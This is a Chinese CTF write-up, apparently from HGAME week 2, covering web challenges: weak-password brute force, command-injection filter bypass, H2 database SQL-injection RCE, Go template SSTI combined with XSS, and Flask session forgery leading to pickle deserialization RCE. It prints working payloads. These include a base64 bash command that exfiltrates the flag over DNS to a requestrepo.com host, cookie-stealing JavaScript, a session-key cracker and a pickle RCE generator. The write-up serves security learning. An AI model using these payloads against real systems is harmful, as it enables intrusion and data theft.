Hgame题解(第二星期)

Hgame题解(第二星期)

Web

Select More Courses

打开靶机发现是一个登陆页面,根据题目提示下载弱密码字典,通过BP爆破获得用户密码为qwert123

在这里插入图片描述

登陆后进入下一个页面,由于学分已满无法选课,所以需要先进行选课扩学分申请,进入该页面提示Race against time!,需要爆破申请,与 Week 1 类似可以写python脚本进行申请,也可以使用BP的Intruder进行申请,这里采用BP

在这里插入图片描述
在经过大量申请之后网站并不会返回其他值,但是再回到选课页面时会发现学分上限提高了,也就可以自主选课了,选课很简单,选完之后就可以拿到flag

在这里插入图片描述

What the cow say?

在这里插入图片描述
这题考察的命令注入,过滤了直接的命令但是没有过滤反引号,反引号会将其包裹的内容作为命令执⾏后传回给bash

尝试ls /(左右两边要加反引号),发现能够打印根目录,并且看到了提示:flag_is_here
在这里插入图片描述
通过ls /fla""g_is_here(双引号绕过flag检测),发现下面存在文件:flag_c0w54y
在这里插入图片描述
使用ca""t /fla""g_is_here/fla""g_c0w54y即可打印出文件内容,拿到flag(通过string app.py还可以拿到网页的pyton源码)
在这里插入图片描述

search4member

题目考点:堆叠注入+ H2 database RCE漏洞

打开靶机网站发现是一个查询页面

在这里插入图片描述

下载附件,解压后在文件夹中发现Java代码(连接SQL)和数据库代码
使用?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+发现数据库名为H2(提示使用的是H2 database),该数据库有个RCE漏洞,原理是可以创建一个数据库函数 SHELLEXEC ,通过该函数可以执行命令

创建SHELLEXEC的payload:

?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+

带出flag的payload:

?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

其中Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=解码后的意思是curl cat /flag.28zrgzsc.requestrepo.com,即拼凑域名后通过DNS带出数据,然后在DNS解析中找到对应部分的值
在这里插入图片描述

梅开二度

题目考点:Go语言的SSTI,利用XSS

分析附件源码发现程序使用的是text/template,而Go语言提供了两个模板包。一个是 text/template,另一个是html/template。text/template不对传入数据进行编码,因此该模板并不适合构建 Web 应用程序,而html/template与text/template虽然相同,但增加了HTML编码等安全保护,适用于构建web应用程序

根据提供的源代码var re = regexp.MustCompile(script|file|on),发现会过滤script、file、on
根据if len(tmplStr) > 50,说明限制payload长度小于50
根据tmplStr = html.EscapeString(tmplStr),会转义HTML字符串(也说明了可以通过tmplStr进行注入)

第一步:通过payload ?tmpl={{println 0B101101011011011110001010110}}测试是否存在SSTI,返回95272022,说明存在SSTI

第二步:通过?tmpl={{.Query Jay17}}&Jay17=<script>alert('XSS')</script>发现可以XSS

第三步:继续分析源代码,发现/bot路由用于获取url参数(前提要求url的值是本地8080端口,此处的url是参数名而不是实际的链接),/flag路由将cookie设置为flag,前提是来源为本地

思路:首先访问/bot目录,该目录提取url的值并判断是否为本地访问
(?url=http://127.0.0.1:8080)

然后在/bot这个路由下访问/flag,相当于利用/bot路由跳转了一次来满足/flag要求的本地访问(通过tmpl的JS代码实现访问),然后带出flag

初始payload模板:

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>(这里的部分是用于实现访问的js代码,访问/flag并带出cokkie值中的flag)`</script>

由于无法使用vps反向监听,但是可以利用DNS解析地址获得该值,原理是:

如果攻击者想要泄露信息 “secret”,可能会生成一个如下的DNS查询:
secret.evil.com
在这里,evil.com 是攻击者控制的域名。当这个查询被发送时,DNS解析请求会传递给攻击者的DNS服务器。然后,攻击者可以从DNS查询中提取出 “secret” 数据。

完整payload(JS部分):

async function fetchData() {let x; // 用于存储从网址B获取的响应数据try {// 首先访问网址Aconst responseA = await fetch('http://127.0.0.1:8080/flag');const dataA = await responseA.text();console.log('网址A访问成功', dataA); // 显示网址A的响应数据,如果需要// 然后访问网址B,并将响应数据赋值给变量Xconst responseB = await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');x = await responseB.text();console.log('网址B访问成功,数据已赋值给变量X');} catch (error) {console.error('访问网址时发生错误:', error);return; // 出错时提前退出函数}// DNS带出try {const url = "http://jay17" + x.substring(6, 46) + ".kgb7xfn7.requestrepo.com/";window.open(url);console.log('已尝试进行DNS带出:', url);} catch (error) {console.error('DNS带出过程中发生错误:', error);}
}// 调用函数
fetchData();

注意点:/bot路由和执行JS代码的两次解码,无法使用document.cookie带出cookie(因为cookie被标记为了HttpOnly,不能通过JS代码访问,只能通过http访问),由于flag里面有其他符号,导致了DNS无法带出数据(因此使用字符串截取.substring()方法,截取flag中花括号内的纯字符)

myflask

题目考点:破解并仿造session + 利用pickle模块实现RCE

打开靶机网页,发现给出了源代码,其中比较关键的是网站session密钥是基于网站开启时间生成的,也就是我们如果知道了网站的启动那一时刻,就能够获得密钥并生成自己的session,然后需要让session的username的值为admin,如此就能通过pickle反序列化执行我们的攻击命令

在这里插入图片描述
第一步:获取网站启动时间,由于这是个比赛题目,所以靶机启动时间很容易就能够得到(打开靶机那个时刻),使用以下Python脚本即可获取详细启动时间

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time# 定义字典文件路径
wordlist_path = "wordlist.txt"# 生成包含所有可能四位数字组合的字典,每个数字前加上前缀"17"//17为具体小时,根据自己的修改
print("Generating wordlist...")
with open(wordlist_path, "w") as f:# 生成并写入数字组合for x in itertools.product('0123456789', repeat=4):f.write('17' + "".join(x) + "\n")# 示例:直接使用硬编码的cookie,实际应用中可能从响应中获取
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeBLxA.lexH-lsz7VWzLJ_nNwUcGytUsf0'//替换成自己的session
print("Got cookie: " + cookie_tamper)# 开始破解过程
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)# 记录破解开始时间
before = time.time()# 使用生成的字典文件尝试破解SECRET_KEY
with wordlist(wordlist_path, parse_lines=False) as iterator:obj.crack(iterator)# 如果找到了SECRET_KEY,显示结果和用时
if obj.secret:secret = obj.secret.decode()print(f"Found SECRET_KEY {secret} in {time.time()-before} seconds")# 使用找到的SECRET_KEY签名一个新的session数据new_session_data = {"time": time.time(), "authorized": True}signed_cookie = flask_unsign.sign(new_session_data, secret=secret)print(f"Signed Cookie: {signed_cookie}")

六位数字xxxxxx代表:
xx(小时)xx(分钟)xx(秒)
在这里插入图片描述

第二步:获取session结构,使用以下Python脚本,输入靶机返回的session获得结构,即{'username': 'guest'},只要我们知道了结构和密钥,我们就能够仿造出admin的session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = True# 检查并添加必要的paddingpadding = '=' * ((4 - len(payload) % 4) % 4)payload += padding.encode()try:payload = b64decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of an exception: ' + str(e))if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before decoding: ' + str(e))return session_json_serializer.loads(payload)if __name__ == '__main__':encoded_session = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeA6aA.wuZ6XevzyQ6X7oDKzdnrRidAToU".encode()print(decryption(encoded_session))

第三步:根据前面得到的{‘username’: ‘guest’}和密钥171728生成新的session,脚本代码:
from itsdangerous import URLSafeTimedSerializer

# 你的密钥和数据
secret_key = '171728'
data = {'username': 'guest'}# 创建一个序列化器实例
serializer = URLSafeTimedSerializer(secret_key)# 序列化数据
serialized_data = serializer.dumps(data)print(f"Serialized session data: {serialized_data}")

在这里插入图片描述

使用以下Python生成反序列化代码,注意pickle版本一致

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

然后利用post方法提交该生成代码(注意伪造session):pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

即可得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/713045.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

回归预测 | Matlab实现BiTCN基于双向时间卷积网络的数据回归预测

回归预测 | Matlab实现BiTCN基于双向时间卷积网络的数据回归预测 目录 回归预测 | Matlab实现BiTCN基于双向时间卷积网络的数据回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现BiTCN基于双向时间卷积网络的数据回归预测&#xff08;完整源码和数据&a…

推荐莹莹API管理系统PHP源码

莹莹API管理系统PHP源码附带两套模板,PHP版本要求为5.6至8.0之间&#xff0c;已测试通过的版本为7.4。 需要安装PHPSG11加密扩展。 已测试&#xff1a;宝塔/主机亲测成功搭建&#xff01; 演示地 址 &#xff1a; runruncode.com/php/19698.html 安装说明&#xff08;适用于宝…

深入理解c指针(六)

目录 九、函数指针数组 1、字符指针变量 2、数组指针变量 3、二维数组传参的本质 4、函数指针变量 4.1 分析《C陷阱和缺陷》中的两端代码 4.2 typedef关键字 5、函数指针数组 6、函数指针数组的用途---转移表 九、函数指针数组 1、字符指针变量 在指针的类型中我们知道…

【C++精简版回顾】15.继承派生

1.继承派生的区别 继承&#xff1a;子继父业&#xff0c;就是子类完全继承父类的全部内容 派生&#xff1a;子类在父类的基础上发展 2.继承方式 1.public继承为原样继承 2.protected继承会把public继承改为protect继承 3.private继承会把public&#xff0c;protected继承改为pr…

怎么抠图把把人物扣下来?简单快捷的抠图方法

相信很多新手小白在初入设计行业时&#xff0c;对于抠图怎么把人物扣下来都是一头雾水。抠图作为设计中常用的一种技术&#xff0c;能够帮助我们快速提取图片中的某个部分&#xff0c;进行合成或者修改。对于老手来说&#xff0c;抠图或许是再熟悉不过的操作&#xff0c;但对于…

c语言---数组(超级详细)

数组 一.数组的概念二. 一维数组的创建和初始化2.1数组的创建2.2数组的初始化错误的初始化 2.3 数组的类型 三. 一维数组的使用3.1数组的下标3.2数组元素的打印3.2数组元素的输入 四. 一维数组在内存中的存储五. 二维数组的创建5.1二维数组的概念5.2如何创建二维数组 六.二维数…

【嵌入式学习】QT-Day4-Qt基础

简单实现闹钟播报&#xff0c;设置时间&#xff0c;当系统时间与设置时间相同时播报语音5次&#xff0c;然后停止。如果设置时间小于当前系统时间&#xff0c;则弹出消息提示框&#xff0c;并清空输入框。 #include "my_clock.h" #include "ui_my_clock.h&quo…

批量处理图片,像素随心所欲,创意无限释放!

在数字化时代&#xff0c;图片批量处理已成为设计、摄影、电商等多个领域不可或缺的一部分。然而&#xff0c;传统的图片批量处理方式往往效率低下&#xff0c;难以满足现代人对高效和精准的需求。现在&#xff0c;我们为您带来了一款一键图片批量处理工具&#xff0c;让您自由…

【Vue】更换浏览器默认 logo

更换浏览器默认logo为自定义图片 一. 浏览器默认 logo二. 替换为自定义logo三. 步骤3.1 转换大小3.1.1 查看图片尺寸3.1.2 修改尺寸&#xff08;为32px 32px&#xff09; 3.2 替换成功 一. 浏览器默认 logo 二. 替换为自定义logo 三. 步骤 3.1 转换大小 将自定义 logo 转为323…

docker搭建zookeeper集群

文章目录 1. 集群搭建2. Leader选举3. Zookeeper集群角色 1. 集群搭建 这里我们使用docker-compose 搭建伪集群 version: 3.1 services:zoo1:image: zookeeperrestart: alwayscontainer_name: zoo1ports:- 2181:2181volumes:- /home/zk/zoo1/data:/data- /home/zk/zoo1/datal…

React富文本编辑器开发(二)

我们接着上一节的示例内容&#xff0c;现在有如下需求&#xff0c;我们希望当我们按下某个按键时编辑器有所反应。这就需要我们对编辑器添加事件功能onKeyDown, 我们给 Editor添加事件&#xff1a; SDocor.jsx import { useState } from react; import { createEditor } from…

协方差矩阵计算

文章目录 协方差矩阵计算原理python实现 协方差矩阵 协方差矩阵反映了两个随机变量变化时是同向还是反向的&#xff08;相关性&#xff09;。 如果协方差>0&#xff0c;则说明这两个随机变量同向变化。 协方差矩阵<0&#xff0c;则说明是反向变化。 协方差矩阵0&#xf…

【LeetCode】347.前 K 个高频元素

今日学习的文章链接和视频链接 leetcode题目地址&#xff1a;347.前 K 个高频元素 代码随想录题解地址&#xff1a;代码随想录 题目简介 给你一个整数数组 nums 和一个整数 k &#xff0c;请你返回其中出现频率前 k 高的元素。你可以按 任意顺序 返回答案。 看到题目的第一…

掌握 MySQL 的数据类型

知道了表是由不同数据类型的列组成的&#xff0c;然后填充了一行一行的数据。 当我们要创建表的时候&#xff0c;就要根据业务需求&#xff0c;选择合适的数据类型。比如在实战项目中&#xff0c;文章表就是由下面这些不同数据类型的字段定义的。 目前用到了 bigint、tinyint、…

vue3+ts+vite使用mock数据

安装以下命令 npm i vite-plugin-mock --save-dev npm i mockjs --save-dev 在根路径下创建mock文件夹 mock\user.ts const menuList [{path: /system,component: Layout,name: system,meta: {title: 系统管理,icon: Setting,roles: [sys:manage]},children: [{path: /depar…

Java中使用poi+poi-tl实现根据模板导出word文档

场景 若依管理系统前后端分离版基于ElementUI和SpringBoot怎样实现Excel导入和导出: 若依管理系统前后端分离版基于ElementUI和SpringBoot怎样实现Excel导入和导出_若依导出前端获得到后端的execl流之后怎么操作-CSDN博客 上面讲的是Excel的导出&#xff0c;如果是需要根据w…

即插即用篇 | YOLOv8 引入 MHSA 注意力机制 | 《Bottleneck Transformers for Visual Recognition》

论文名称:《Bottleneck Transformers for Visual Recognition》 论文地址:https://arxiv.org/pdf/2101.11605.pdf 文章目录 1 原理2 源代码3 添加方式4 模型 yaml 文件template-backbone.yamltemplate-small.yamltemplate-large.yamltemplate-neck.yaml

Mac 重新安装系统

Mac 重新安装系统 使用可引导安装器重新安装&#xff08;可用于安装非最新的 Mac OS&#xff0c;系统降级&#xff0c;需要清除所有数据&#xff09; 插入制作好的可引导安装器&#xff08;U盘或者移动固态硬盘&#xff09;&#xff0c;如何制作可引导安装器将 Mac 关机将 Ma…

排序——冒泡排序

冒泡排序的基本思想 从前往后&#xff08;或从后往前&#xff09;两两比较相邻元素的值&#xff0c;若为逆序&#xff08;即 A [ i − 1 ] < A [ i ] A\left [ i-1\right ]<A\left [ i\right ] A[i−1]<A[i]&#xff09;&#xff0c;则交换它们&#xff0c;直到序列…

标准PoE交换机、非标准PoE交换机和非PoE交换机三者到底有何区别?

目录 前言&#xff1a; 一、标准PoE交换机 1.1 工作原理 1.2 应用场景 1、视频监控 2、无线接入点 3、IP电话 1.3 优势 1、简化布线 2、简化安装 3、提高可靠性 二、非标准PoE交换机 2.1 工作原理 2.2 应用场景 1、无线路由器 2、IP电话 3、数据中心 2.3 优势…